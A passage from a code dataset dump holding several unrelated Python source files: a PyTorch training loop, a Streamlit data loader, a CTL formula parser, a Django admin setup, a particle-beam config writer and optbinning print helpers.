+\n\t\t ' train_likelihood: %.4f' % train_loss +\n\t\t ' train_lprob: %.2f' % train_avg_prob_correct +\n\t\t ' train accuracy: %.2f' % (train_acc * 100)+\n\t\t ' trials: %.4f' % tryavg +\n\t\t 'jsd: %.3f' % jsdtotal\n\t\t ,end=\" \"\n\t\t )\n\n\t\t# TODO: Evaluate Test\n\t\tval_run_loss = 0\n\t\ttotalsamples = 0\n\t\tval_corrects = 0\n\t\tself.model.eval()\n\t\tfor batch_n,data in enumerate(self.testloader):\n\t\t\twith torch.set_grad_enabled(False):\n\t\t\t\tinputs, labels = data\n\t\t\t\tinputs, labels = inputs.to(self.opts.epocheropts.device),labels.to(self.opts.epocheropts.device)\n\t\t\t\toutput= 0\n\t\t\t\tif self.opts.netopts.customdict['exact']:\n\t\t\t\t\ttrials =1\n\t\t\t\telse:\n\t\t\t\t\ttrials = 10\n\t\t\t\tfor i in range(trials):\n\t\t\t\t\toutput_temp,logprob,model_prob = self.model(inputs)\n\t\t\t\t\toutput_temp = output_temp.log_softmax(dim=1)\n\t\t\t\t\tif i==0:\n\t\t\t\t\t\toutput = output_temp\n\t\t\t\t\telse:\n\t\t\t\t\t\toutput = LSE_pair(output_temp,output)\n\n\t\t\t\toutput = (output -math.log(trials))\n\n\t\t\t\toutput = output.view(output.shape[0], -1)\n\t\t\t\t#TODO: Print Batch Statistics\n\t\t\t\tpredlab = torch.argmax(output, 1, keepdim=False).squeeze()\n\t\t\t\taccthis = (predlab == labels).sum().item()\n\t\t\t\tval_corrects += accthis\n\t\t\t\ttotalsamples += labels.size(0)\n\t\t\t\tval_acc = val_corrects/totalsamples\n\t\t\t\tloss = self.opts.optimizeropts.loss(output,labels).mean()\n\t\t\t\tval_run_loss += loss.item()\n\t\t\t\tval_avg_loss = val_run_loss/(batch_n+1)\n\n\t\tself.print(' '+ prefixprint + ':' +\n\t\t ' val_loss: %.4f' % val_avg_loss +\n\t\t ' val_acc: %.2f' % (val_acc * 100))\n\t\tresdict = dict(test_acc=val_acc*100,\n\t\t train_acc=train_acc*100,\n\t\t test_loss=val_avg_loss,\n\t\t train_loss=train_loss,\n\t\t train_jsd=jsdtotal,\n\t\t train_avg_try=tryavg)\n\t\tresdict.update(scalar_dict)\n\t\treturn resdict,outputfull\n\n\tdef run_many_epochs(self,path:str,save_result):\n\t\tself.model.to(self.opts.epocheropts.device)\n\t\tself.results = ResultStruct(path)\n\t\tself.path = path\n\t\tself.opts.print(printer=self.print)\n\t\tfor epoch in range(self.opts.epocheropts.epochnum):\n\t\t\tprefixtext = 'Epoch %d' % epoch\n\t\t\tepochres,outputsample = self.run_epoch(prefixtext,epoch,path)\n\n\t\t\tself.results.add_epoch_res_dict(epochres,epoch,save_result)\n\t\t\tself.opts.optimizeropts.lr_sched.step()\n\t\t\t#with torch.set_grad_enabled(False):\n\t\t\t#\tgenerated_images = self.model.generate(sample(outputsample,1,1)[0])\n\t\t\t#\timagepath = './GenImages/Images'+ '_epoch_'+ str(epoch+1)+'.bmp'\n\t\t\t#\tsave_image(generated_images,imagepath,normalize=True,scale_each=True)\n\n\t\tself.model.to(torch.device('cpu'))\n\t\treturn self.results\n\n\tdef print(self,string,end='\\n'):\n\t\tpath = self.path\n\t\tlog_file = open(os.path.join(path,'log.txt'),\"a\")\n\t\tprint(str(string),end=end)\n\t\tlog_file.write(str(string)+end)\n\t\tlog_file.close()\n\n","repo_name":"AEMARV/FiniteTorch","sub_path":"trainvalid/epocher.py","file_name":"epocher.py","file_ext":"py","file_size_in_byte":29235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"19202496930","text":"n, m = map(int, input().split())\n\ns = []\ni = 1\nwhile len(s) < max(n, m):\n for j in range(i):\n s.append(i)\n i += 1\n\nsum = 0\nfor k in range(n, m + 1):\n sum += s[k - 1]\n\nprint(sum)\n","repo_name":"B2SIC/CodeStorage","sub_path":"백준/1292.py","file_name":"1292.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18843605271","text":"import logging\n\nfrom dataclasses import dataclass, field\nfrom io import StringIO\nfrom typing import Any, List\nfrom xml.dom.minidom import Document, parse, parseString\nfrom pathlib import Path\nimport numpy as np\nimport numpy.typing as npt\nimport pandas as pd # type: ignore\nimport streamlit as st\nfrom pandas import read_csv\nfrom streamlit.uploaded_file_manager import UploadedFile\nimport Utilities\n\n\n@dataclass\nclass data_files:\n \"\"\"\n Class handling trajectory and geometry files\n \"\"\"\n\n uploaded_traj_file: UploadedFile\n uploaded_geo_file: UploadedFile\n from_examples: str\n traj_name: str = field(init=False, default=\"\")\n selected_traj_file: str = field(init=False, default=\"\")\n selected_geo_file: str = field(init=False, default=\"\")\n got_traj_data: Any = field(init=False, default=False)\n _data: npt.NDArray[np.float32] = field(init=False, default=np.array([]))\n _df: pd.DataFrame = field(init=False)\n _header: List[str] = field(init=False)\n default_geometry_file: str = (\n \"geometry.xml\" # in case trajectories have no geometry files\n )\n\n def get_data(self):\n return self._data\n\n def get_data_df(self):\n return self._df\n\n def process_traj_file(self) -> str:\n \"\"\"return StringIO data from trajectory file\"\"\"\n if self.uploaded_traj_file:\n stringio = StringIO(self.uploaded_traj_file.getvalue().decode(\"utf-8\"))\n string_data = stringio.read()\n else:\n with open(self.selected_traj_file, encoding=\"utf-8\") as f:\n string_data = f.read()\n\n logging.info(\"got some data\")\n return string_data\n\n def process_geo_file(self) -> str:\n \"\"\"return data from geometry file\"\"\"\n if self.uploaded_geo_file is None:\n with open(\n self.default_geometry_file, encoding=\"utf-8\"\n ) as geometry_file_obj:\n geo_string_data = geometry_file_obj.read()\n\n else:\n geo_stringio = StringIO(self.uploaded_geo_file.getvalue().decode(\"utf-8\"))\n geo_string_data = geo_stringio.read()\n\n if self.selected_geo_file:\n with open(self.selected_geo_file, encoding=\"utf-8\") as geometry_file_obj:\n geo_string_data = geometry_file_obj.read()\n\n return geo_string_data\n\n def init_header(self):\n\n if self._data.shape[1] == 10:\n self._header = [\n \"ID\",\n \"FR\",\n \"X\",\n \"Y\",\n \"Z\",\n \"A\",\n \"B\",\n \"ANGLE\",\n \"COLOR\",\n \"SPEED\",\n ]\n\n elif self._data.shape[1] == 9:\n self._header = [\"ID\", \"FR\", \"X\", \"Y\", \"Z\", \"A\", \"B\", \"ANGLE\", \"COLOR\"]\n\n else:\n self._header = [\"ID\", \"FR\", \"X\", \"Y\", \"Z\"]\n\n def read_traj_data(self):\n \"\"\"Set _data with trajectories if traj file uploaded or selected\"\"\"\n logging.info(f\"Got data: {self.got_traj_data}\")\n if self.got_traj_data:\n self._data = read_csv(\n self.got_traj_data, sep=r\"\\s+\", dtype=np.float64, comment=\"#\"\n ).values\n\n def read_geo_data(self) -> Document:\n \"\"\"Return xml object from geoemtry file\"\"\"\n logging.info(f\"geo: {self.uploaded_traj_file}\")\n geo_xml = None\n if self.uploaded_geo_file:\n geo_xml = parseString(self.uploaded_geo_file.getvalue())\n\n elif self.selected_geo_file:\n geo_xml = parse(self.selected_geo_file)\n\n else:\n if Path(self.default_geometry_file).exists():\n geo_xml = parse(self.default_geometry_file)\n\n return geo_xml # type: ignore\n\n def __post_init__(self) -> None:\n selection = Utilities.selected_traj_geo(self.from_examples)\n if selection:\n name_selection = selection[0]\n self.selected_traj_file = name_selection + \".txt\"\n self.selected_geo_file = name_selection + \".xml\"\n if name_selection not in st.session_state.example_downloaded:\n st.session_state.example_downloaded[name_selection] = True\n Utilities.download(selection[1], self.selected_traj_file)\n Utilities.download(selection[2], self.selected_geo_file)\n\n self.got_traj_data = self.selected_traj_file or self.uploaded_traj_file\n if self.uploaded_traj_file:\n self.traj_name = self.uploaded_traj_file.name.split(\".txt\")[0]\n if self.selected_traj_file:\n self.traj_name = self.selected_traj_file.split(\".txt\", maxsplit=1)[0]\n\n self.read_traj_data()\n if self.got_traj_data:\n Utilities.touch_default_geometry_file(\n self._data, st.session_state.unit, self.default_geometry_file\n )\n self.init_header()\n self._df = pd.DataFrame(self._data, columns=self._header)\n\n self.read_geo_data()\n","repo_name":"PedestrianDynamics/dashboard","sub_path":"data_structure.py","file_name":"data_structure.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"17219864713","text":"# coding: utf-8\r\n\r\nclass treeNode(object):\r\n\r\n\tdef __init__(self):\r\n\t\tself.tipo = None # Operador (Op) ou Propriedade (Pr)\r\n\t\tself.conteudo = None\r\n\t\tself.oper = None\r\n\t\tself.rotulo = 0 #precisa??\r\n\t\tself.left = None\r\n\t\tself.right = None\r\n\r\n\r\nclass parserCTL():\r\n\r\n\tdef __init__(self):\r\n\t\t#self.leftExp = None\r\n\t\t#self.rightExp = None\r\n\t\tself.cont = 0 # Controle de abertura e fechamento de parenteses\r\n\t\tself.listaNos = []\r\n\t\tself.expressao = None\r\n\r\n\tdef parse(self, exp):\r\n\t\t\r\n\t\tpos = self.identificaExpressao(exp)\r\n\t\tno = treeNode()\r\n\r\n\t\t# Cria nó do tipo Propriedade e \r\n\t\t# interrompe a recursão\r\n\t\tif (pos == -1):\t\t\t\t\t\t\r\n\t\t\tno.tipo = 'Pr'\r\n\t\t\tno.conteudo = exp[1:(int(len(exp))-1)]\r\n\t\t\tno.oper = None\r\n\t\t\tno.left = None\r\n\t\t\tno.right = None\r\n\t\t\tself.listaNos.append(no)\r\n\t\t\tself.expressao = exp\r\n\t\t\treturn no\r\n\r\n\t\t# Le próximo operador\r\n\t\toperador = \"\"\t\t\r\n\t\ti = pos\r\n\t\twhile (exp[i] != '('):\r\n\t\t\toperador += exp[i]\r\n\t\t\ti += 1\r\n\r\n\t\t# Le os operadores e analisa a expressao sobre a\r\n\t\t# qual atuam. Operadores AX, EF, AG, EG, AU, ->\r\n\t\t# e <-> são substituidos por seus equivalentes, de\r\n\t\t# forma que estes operadores não estarão presentes\r\n\t\t# na expressão final. O índice de posição passa a\r\n\t\t# apontar para o restante da expressão.\r\n\r\n\t\tif (operador == \"AX\"):\t\t\t\r\n\t\t\tpos +=2 \t\t\t\r\n\t\t\t#self.leftExp = lePropriedade(exp, pos)\r\n\t\t\texp = \"(!(EX(!\" + self.lePropriedade(exp, pos) + \")))\"\r\n\t\t\toperador = \"!\" # Novo último operador\r\n\t\t\tpos = 1 # Índice aponta para o restante da expressão\t\t\t\r\n\t\r\n\t\telif (operador == \"EF\"):\r\n\t\t\tpos += 2\r\n\t\t\texp = \"(EU((TRUE),\" + self.lePropriedade(exp, pos) + \"))\"\r\n\t\t\toperador = \"EU\"\r\n\t\t\tpos = 1\r\n\r\n\t\telif (operador == \"AG\"):\r\n\t\t\tpos += 2\r\n\t\t\texp = \"(!(EU((TRUE),(!\" + self.lePropriedade(exp, pos) + \"))))\"\r\n\t\t\toperador = \"!\"\r\n\t\t\tpos = 1\t\t\t\r\n\r\n\t\telif (operador == \"EG\"):\r\n\t\t\tpos += 2\r\n\t\t\texp = \"(!(AF(!\" + self.lePropriedade(exp, pos) + \")))\"\r\n\t\t\toperador = \"!\"\r\n\t\t\tpos = 1\t\r\n\r\n\t\t# Há controle de posição do início da expressão e de \r\n\t\t# onde ocorre a vírgula que separa as duas expressões\r\n\t\t# resultantes. Nas funções AU, -> e <->, precisa-se\r\n\t\t# armazenar as expressões à esquerda e à direita da\r\n\t\t# vírgula/operador para realizar a substituição pela\r\n\t\t# expressão equivalente.\r\n\r\n\t\telif (operador == \"AU\"):\r\n\t\t\tpos += 2\r\n\t\t\ttemp = self.lePropriedade(exp, pos)\r\n\t\t\tvirgula = self.identificaExpressao(temp)\r\n\t\t\texpEsquerda = self.lePropriedade(temp, 1)\r\n\t\t\tvirgula += 1\r\n\t\t\texpDireita = self.lePropriedade(temp, virgula)\r\n\t\t\texp = \"((AF\" + expDireita + \")&(!(EU((!\" + expDireita + \"),((!\" + expEsquerda + \")&(!\" + expDireita + \"))))))\"\r\n\t\t\toperador = \"&\"\r\n\t\t\tpos = self.identificaExpressao(exp)\r\n\r\n\t\telif (operador == \"->\"):\r\n\t\t\tpos += 2\r\n\t\t\texpEsquerda = self.lePropriedade(exp, 1)\r\n\t\t\texpDireita = self.lePropriedade(exp, pos)\r\n\t\t\texp = \"((!\" + expEsquerda + \")|\" + expDireita + \")\"\r\n\t\t\toperador = \"|\"\r\n\t\t\tpos = self.identificaExpressao(exp)\t\t\t\t\r\n\r\n\t\telif (operador == \"<->\"):\r\n\t\t\tpos += 3\r\n\t\t\texpEsquerda = self.lePropriedade(exp, 1)\r\n\t\t\texpDireita = self.lePropriedade(exp, pos)\r\n\t\t\texp = \"(((!\" + expEsquerda + \")|\" + expDireita + \")&((!\" + expDireita + \")|\" + expEsquerda + \"))\"\t\t\t\t\r\n\t\t\toperador = \"&\"\r\n\t\t\tpos = self.identificaExpressao(exp)\r\n\r\n\t\t# Após feitas as devidas substituições por\r\n\t\t# expressões equivalentes, analisa-se os opera-\r\n\t\t# dores finais para encerrar o mapeamento da\r\n\t\t# expressão lida em árvore sintática. Quando \r\n\t\t# um nó da árvore possui apenas um filho, \r\n\t\t# adota-se que este é seu filho esquerdo.\r\n\r\n\t\tno = treeNode()\r\n\t\tno.tipo = 'Op'\r\n\t\tno.conteudo = exp\r\n\t\tno.oper = operador\r\n\t\t\r\n\t\tif(operador == \"EX\"):\r\n\t\t\tpos += 2\r\n\t\t\texpEsquerda = self.lePropriedade(exp, pos)\t\t\t\t\t\t\t\t\r\n\t\t\tno.left = self.parse(expEsquerda)\t\t\t\r\n\r\n\t\telif(operador == \"AF\"):\r\n\t\t\tpos += 2\r\n\t\t\texpEsquerda = self.lePropriedade(exp, pos)\t\t\t\t\t\t\t\t\r\n\t\t\tno.left = self.parse(expEsquerda)\t\t\t\r\n\r\n\t\telif(operador == \"EU\"):\r\n\t\t\tpos += 2\r\n\t\t\ttemp = self.lePropriedade(exp, pos)\r\n\t\t\tvirgula = self.identificaExpressao(temp)\r\n\t\t\texpEsquerda = self.lePropriedade(temp, 1)\r\n\t\t\tvirgula += 1\r\n\t\t\texpDireita = self.lePropriedade(temp, virgula)\t\t\t\t\t\t\t\t\r\n\t\t\tno.left = self.parse(expEsquerda)\t\t\t\r\n\t\t\tno.right = self.parse(expDireita)\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\telif(operador == \"&\"):\r\n\t\t\texpEsquerda = self.lePropriedade(exp, 1)\r\n\t\t\tpos += 1\r\n\t\t\texpDireita = self.lePropriedade(exp, pos)\t\t\t\t\t\r\n\t\t\tno.left = self.parse(expEsquerda)\r\n\t\t\tno.right = self.parse(expDireita)\r\n\r\n\t\telif(operador == \"|\"):\r\n\t\t\texpEsquerda = self.lePropriedade(exp, 1)\r\n\t\t\tpos += 1\r\n\t\t\texpDireita = self.lePropriedade(exp, pos)\t\t\t\t\t\r\n\t\t\tno.left = self.parse(expEsquerda)\r\n\t\t\tno.right = self.parse(expDireita)\t\t\t\r\n\r\n\t\telif(operador == \"!\"):\r\n\t\t\tpos += 1\t\t\t\r\n\t\t\texpEsquerda = self.lePropriedade(exp, pos)\t\t\t\t\t\r\n\t\t\tno.left = self.parse(expEsquerda)\t\t\t\r\n\r\n\t\telse:\r\n\t\t\tprint(\"Operador Invalido.\")\r\n\t\t\texit(1)\r\n\r\n\t\tself.listaNos.append(no)\r\n\t\tself.expressao = exp\r\n\t\treturn no\r\n\t\r\n\r\n\t# Retorna posição do próximo operador da expressão. Caso\r\n\t# essa expresão seja uma propriedade (nó folha), retorna -1\r\n\r\n\tdef identificaExpressao(self, exp):\r\n\t\tcont = 0\r\n\t\tisProp = False\r\n\t\t\r\n\t\tfor i in range(0, int(len(exp))):\t\r\n\r\n\t\t\t# Leitura de operadores básicos\r\n\t\t\tif (exp[i] == '('):\r\n\t\t\t\tcont += 1\t\t\t\r\n\t\t\telif (exp[i] == ')'):\r\n\t\t\t\tcont -= 1\t\r\n\r\n\t\t\t# Se encontrou algum parâmetro, verifica se\r\n\t\t\t# é um operador (próximo parenteses abre) ou\r\n\t\t\t# propriedade (próximo parenteses fecha)\r\n\t\t\telif (cont == 1):\t\t\t\r\n\t\t\t\tj = i\r\n\t\t\t\twhile(exp[j] != '('):\t\t\t\t\t\r\n\t\t\t\t\tif (exp[j] == ')'):\r\n\t\t\t\t\t\tisProp = True\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\tj += 1\r\n\t\t\t\tif not isProp:\r\n\t\t\t\t\treturn i\r\n\t\treturn -1\r\n\r\n\t# Encontra propriedade a partir de uma posição\r\n\tdef lePropriedade(self, exp, pos):\r\n\t\tpropriedade = \"(\"\r\n\t\tcontador = 1\r\n\t\tpos += 1\r\n\t\twhile(contador != 0):\t\t\t\r\n\t\t\tpropriedade += exp[pos]\r\n\t\t\tif(exp[pos] == '('):\r\n\t\t\t\tcontador += 1\r\n\t\t\telif(exp[pos] == ')'):\r\n\t\t\t\tcontador -= 1\r\n\t\t\tpos += 1\r\n\t\treturn propriedade","repo_name":"laiseaquino/Trabalho1_SSC0722","sub_path":"expression_parser.py","file_name":"expression_parser.py","file_ext":"py","file_size_in_byte":5923,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30162614177","text":"from django.contrib import admin\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.contrib.auth.forms import UserChangeForm, UserCreationForm\n\nfrom afp.accounts.models import Division, Physician, Rank\n\nUser = get_user_model()\n\n\nclass CustomUserCreationForm(UserCreationForm):\n \"\"\"A form for creating new users. Includes all the required\n fields, plus a repeated password.\"\"\"\n\n class Meta:\n model = User\n fields = (\n \"first_name\",\n \"middle_name\",\n \"last_name\",\n \"email\",\n \"is_active\",\n \"is_staff\",\n \"is_physician\",\n \"is_scientist\",\n \"division\",\n \"other_division\",\n \"rank\",\n )\n\n\nclass CustomUserChangeForm(UserChangeForm):\n \"\"\"A form for updating users. Includes all the fields on\n the user, but replaces the password field with admin's\n disabled password hash display field.\n \"\"\"\n\n class Meta:\n model = User\n fields = \"__all__\"\n\n\nclass CustomUserAdmin(UserAdmin):\n add_form = CustomUserCreationForm\n form = CustomUserChangeForm\n model = User\n\n list_display = [\n \"username\",\n \"last_login\",\n \"is_active\",\n \"is_staff\",\n \"email\",\n \"first_name\",\n \"middle_name\",\n \"last_name\",\n \"division\",\n \"rank\",\n ]\n list_editable = [\"is_active\"]\n\n fieldsets = (\n (None, {\"fields\": (\"username\", \"password\")}),\n (\n \"Personal Info\",\n {\n \"fields\": (\n \"first_name\",\n \"middle_name\",\n \"last_name\",\n \"email\",\n )\n },\n ),\n (\n \"Permissions\",\n {\n \"fields\": (\n \"is_active\",\n \"is_staff\",\n \"is_physician\",\n \"is_scientist\",\n \"groups\",\n )\n },\n ),\n (\n \"Miscellaneous\",\n {\"fields\": (\"division\", \"other_division\", \"rank\")},\n ),\n )\n\n\nadmin.site.register(User, CustomUserAdmin)\nadmin.site.register(Physician)\nadmin.site.register(Division)\nadmin.site.register(Rank)\n","repo_name":"josephmje/afp_app","sub_path":"afp/accounts/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13963302445","text":"import math as m\nfrom dataclasses import dataclass\nfrom enum import IntEnum, unique\nfrom typing import Optional, TypeVar, Type\n\n\nT = TypeVar(\"T\", bound=\"LabelledEnum\")\n\n\nclass LabelledEnum(IntEnum):\n \"\"\"Base class for enums with a label attribute\"\"\"\n\n label: str\n\n def __new__(cls, value, label):\n\n if not isinstance(value, int):\n raise TypeError(\"Value must be an integer\")\n obj = int.__new__(cls, value)\n obj._value_ = value\n obj.label = label\n return obj\n\n @classmethod\n def from_str(cls: Type[T], value: str) -> T:\n \"\"\"Converts a string to a LabelledEnum\"\"\"\n for method in cls:\n if method.label == value:\n return method\n\n raise ValueError(f\"{cls.__name__} has no value matching {value}\")\n\n\n@unique\nclass BeamSourceType(LabelledEnum):\n \"\"\"Beam source type\"\"\"\n\n SIMPLE = (0, \"simple\")\n FILE = (1, \"file\")\n\n\n@unique\nclass ModulatorSimulationMethod(LabelledEnum):\n \"\"\"Modulator simulation method for beam.dat file\"\"\"\n\n MODULUS = (0, \"modulus\")\n SAMPLING = (1, \"sampling\")\n\n\n@unique\nclass ModulatorInterpretationMode(LabelledEnum):\n \"\"\"Modulator interpretation mode of data in the input files loaded with the USEBMOD card\"\"\"\n\n MATERIAL = (0, \"material\")\n VACUMM = (1, \"vacumm\")\n\n\n@unique\nclass StragglingModel(LabelledEnum):\n \"\"\"Straggle model\"\"\"\n\n GAUSSIAN = (1, \"Gaussian\")\n VAVILOV = (2, \"Vavilov\")\n NO_STRAGGLING = (0, \"no straggling\")\n\n\n@unique\nclass MultipleScatteringMode(LabelledEnum):\n \"\"\"Multiple scattering mode\"\"\"\n\n GAUSSIAN = (1, \"Gaussian\")\n MOLIERE = (2, \"Moliere\")\n NO_SCATTERING = (0, \"no scattering\")\n\n\n@dataclass(frozen=True)\nclass BeamModulator():\n \"\"\"Beam modulator card dataclass used in BeamConfig.\"\"\"\n\n filename: str\n file_content: str\n zone_id: int\n simulation: ModulatorSimulationMethod = ModulatorSimulationMethod.MODULUS\n mode: ModulatorInterpretationMode = ModulatorInterpretationMode.MATERIAL\n\n def __str__(self) -> str:\n \"\"\"Returns the string representation of the beam modulator card\"\"\"\n modulator_template = \"\"\"USEBMOD {zone} {filename} ! Zone# and file name for beam modulator\nBMODMC {simulation} ! Simulation method for beam modulator (0-Modulus, 1-Monte Carlo sampling)\nBMODTRANS {mode} ! Interpretation of thicknesses data in the config file (0-Material, 1-Vacuum)\"\"\"\n return modulator_template.format(\n zone=self.zone_id,\n filename=self.filename,\n simulation=self.simulation,\n mode=self.mode)\n\n\n@dataclass\nclass BeamConfig:\n \"\"\"Class mapping of the beam.dat config file.\"\"\"\n\n energy: float = 150. # [MeV]\n energy_spread: float = 1.5 # [MeV]\n energy_low_cutoff: Optional[float] = None # [MeV]\n energy_high_cutoff: Optional[float] = None # [MeV]\n beam_ext_x: float = -0.1 # [cm]\n beam_ext_y: float = 0.1 # [cm]\n sad_x: Optional[float] = None # [cm]\n sad_y: Optional[float] = None # [cm]\n n_stat: int = 10000\n beam_pos: tuple[float, float, float] = (0, 0, 0) # [cm]\n beam_dir: tuple[float, float, float] = (0, 0, 1) # [cm]\n delta_e: float = 0.03 # [a.u.]\n nuclear_reactions: bool = True\n\n modulator: Optional[BeamModulator] = None\n\n straggling: StragglingModel = StragglingModel.VAVILOV\n multiple_scattering: MultipleScatteringMode = MultipleScatteringMode.MOLIERE\n\n energy_cutoff_template = \"TCUT0 {energy_low_cutoff} {energy_high_cutoff} ! energy cutoffs [MeV]\"\n sad_template = \"BEAMSAD {sad_x} {sad_y} ! BEAMSAD value [cm]\"\n beam_source_type: BeamSourceType = BeamSourceType.SIMPLE\n beam_source_filename: Optional[str] = None\n beam_source_file_content: Optional[str] = None\n\n beam_dat_template: str = \"\"\"\nRNDSEED \t89736501 ! Random seed\nJPART0 \t2 ! Incident particle type\nTMAX0 \t{energy} {energy_spread} ! Incident energy and energy spread; both in (MeV/nucl)\n{optional_energy_cut_off_line}\nNSTAT {n_stat:d} 0 ! NSTAT, Step of saving\nSTRAGG {straggling} ! Straggling: 0-Off 1-Gauss, 2-Vavilov\nMSCAT {multiple_scattering} ! Mult. scatt 0-Off 1-Gauss, 2-Moliere\nNUCRE {nuclear_reactions} ! Nucl.Reac. switcher: 1-ON, 0-OFF\n{optional_beam_modulator_lines}\nBEAMPOS {pos_x} {pos_y} {pos_z} ! Position of the beam\nBEAMDIR {theta} {phi} ! Direction of the beam\nBEAMSIGMA {beam_ext_x} {beam_ext_y} ! Beam extension\n{optional_sad_parameter_line}\nDELTAE {delta_e} ! relative mean energy loss per transportation step\n\"\"\"\n\n @staticmethod\n def cartesian2spherical(vector: tuple[float, float, float]) -> tuple[float, float, float]:\n \"\"\"\n Transform cartesian coordinates to spherical coordinates.\n\n :param vector: cartesian coordinates\n :return: spherical coordinates\n \"\"\"\n x, y, z = vector\n r = m.sqrt(x**2 + y**2 + z**2)\n # acos returns the angle in radians between 0 and pi\n theta = m.degrees(m.acos(z / r))\n # atan2 returns the angle in radians between -pi and pi\n phi = m.degrees(m.atan2(y, x))\n # lets ensure the angle in degrees is always between 0 and 360, as SHIELD-HIT12A requires\n if phi < 0.:\n phi += 360.\n return theta, phi, r\n\n def __str__(self) -> str:\n \"\"\"Return the beam.dat config file as a string.\"\"\"\n theta, phi, _ = BeamConfig.cartesian2spherical(self.beam_dir)\n\n # if energy cutoffs are defined, add them to the template\n cutoff_line = \"! no energy cutoffs\"\n if self.energy_low_cutoff is not None and self.energy_high_cutoff is not None:\n cutoff_line = BeamConfig.energy_cutoff_template.format(\n energy_low_cutoff=self.energy_low_cutoff,\n energy_high_cutoff=self.energy_high_cutoff\n )\n\n # if sad was defined, add it to the template\n sad_line = \"! no BEAMSAD value\"\n if self.sad_x is not None or self.sad_y is not None:\n sad_y_value = self.sad_y if self.sad_y is not None else \"\"\n sad_line = BeamConfig.sad_template.format(\n sad_x=self.sad_x,\n sad_y=sad_y_value)\n\n # if beam modulator was defined, add it to the template\n mod_lines = str(self.modulator) if self.modulator is not None else '! no beam modulator'\n\n # prepare main template\n result = self.beam_dat_template.format(\n energy=float(self.energy),\n energy_spread=float(self.energy_spread),\n optional_energy_cut_off_line=cutoff_line,\n optional_sad_parameter_line=sad_line,\n optional_beam_modulator_lines=mod_lines,\n n_stat=self.n_stat,\n pos_x=self.beam_pos[0],\n pos_y=self.beam_pos[1],\n pos_z=self.beam_pos[2],\n beam_ext_x=self.beam_ext_x,\n beam_ext_y=self.beam_ext_y,\n theta=theta,\n phi=phi,\n delta_e=self.delta_e,\n nuclear_reactions=1 if self.nuclear_reactions else 0,\n straggling=self.straggling.value,\n multiple_scattering=self.multiple_scattering.value\n )\n\n # if beam source type is file, add the file name to the template\n if self.beam_source_type == BeamSourceType.FILE:\n result += \"USECBEAM sobp.dat ! Use custom beam source file\"\n\n return result\n","repo_name":"yaptide/converter","sub_path":"converter/shieldhit/beam.py","file_name":"beam.py","file_ext":"py","file_size_in_byte":7517,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"22951178714","text":"from ...information import print_header\nfrom ...information import print_optional_parameters\nfrom ...options import binning_process_sketch_default_options\n\n\ndef print_main_info(n_records, n_variables, time_add, time_solve):\n print(\" Number of records : {}\".format(n_records))\n print(\" Number of variables : {}\".format(n_variables))\n print(\" Time add : {:<10.4f} sec\".format(time_add))\n print(\" Time solve : {:<10.4f} sec\\n\".format(time_solve))\n\n\ndef print_binning_process_sketch_statistics(\n n_records, n_variables, target_dtype, n_numerical, n_categorical,\n n_selected, n_add, time_add, n_solve, time_solve):\n\n r_add = time_add / n_add\n r_solve = time_solve / n_solve\n\n stats = (\n \" Statistics\\n\"\n \" Number of records {:>10}\\n\"\n \" Number of variables {:>10}\\n\"\n \" Target type {:>10}\\n\\n\"\n \" Number of numerical {:>10}\\n\"\n \" Number of categorical {:>10}\\n\"\n \" Number of selected {:>10}\\n\"\n ).format(n_records, n_variables, target_dtype, n_numerical,\n n_categorical, n_selected)\n\n records_stats = (\n \" Streaming statistics\\n\"\n \" Add operations {:>18}\\n\"\n \" Solve operations {:>18}\\n\"\n ).format(n_add, n_solve)\n\n time_stats = (\n \" Streaming timing\\n\"\n \" Time add {:>18.2f} sec ({:6.4f} sec / add)\\n\"\n \" Time solve {:>18.2f} sec ({:6.4f} sec / solve)\\n\"\n ).format(time_add, r_add, time_solve, r_solve)\n\n print(stats)\n print(records_stats)\n print(time_stats)\n\n\ndef print_binning_process_sketch_information(\n print_level, n_records, n_variables, target_dtype, n_numerical,\n n_categorical, n_selected, n_add, time_add, n_solve, time_solve,\n dict_user_options):\n\n print_header()\n\n if print_level == 2:\n dict_default_options = binning_process_sketch_default_options\n print_optional_parameters(dict_default_options, dict_user_options)\n\n if print_level == 0:\n print_main_info(n_records, n_variables, time_add, time_solve)\n elif print_level >= 1:\n print_binning_process_sketch_statistics(\n n_records, n_variables, target_dtype, n_numerical, n_categorical,\n n_selected, n_add, time_add, n_solve, time_solve)\n","repo_name":"guillermo-navas-palencia/optbinning","sub_path":"optbinning/binning/distributed/binning_process_sketch_information.py","file_name":"binning_process_sketch_information.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","stars":385,"dataset":"github-code","pt":"75"} +{"seq_id":"73787185202","text":"import torch.nn as nn\nimport math\nimport torch\nimport torch.utils.model_zoo as model_zoo\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.optim as optim\nfrom os.path import join\nimport os\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms\nfrom torch.autograd import Variable\nfrom load_data_p1 import DATASET, my_collate_fn\nimport load_inception_v3\nimport sys\nfrom sklearn.metrics import confusion_matrix\n\ncuda = torch.cuda.is_available()\ndevice = torch.device('cuda' if cuda else 'cpu')\nBATCH_SIZE = 1\n\nclass SimpleClassifier(nn.Module):\n\n\tdef __init__(self, pretrain=True):\n\t\tsuper(SimpleClassifier, self).__init__()\n\n\t\t\n\t\tself.fc = nn.Sequential(\n\t\t\tnn.Linear(2048, 2048),\n\t\t\tnn.BatchNorm1d(2048),\n\t\t\tnn.ReLU(True),\n\t\t)\n\t\tself.cls = nn.Linear(2048, 11)\n\n\tdef forward(self, 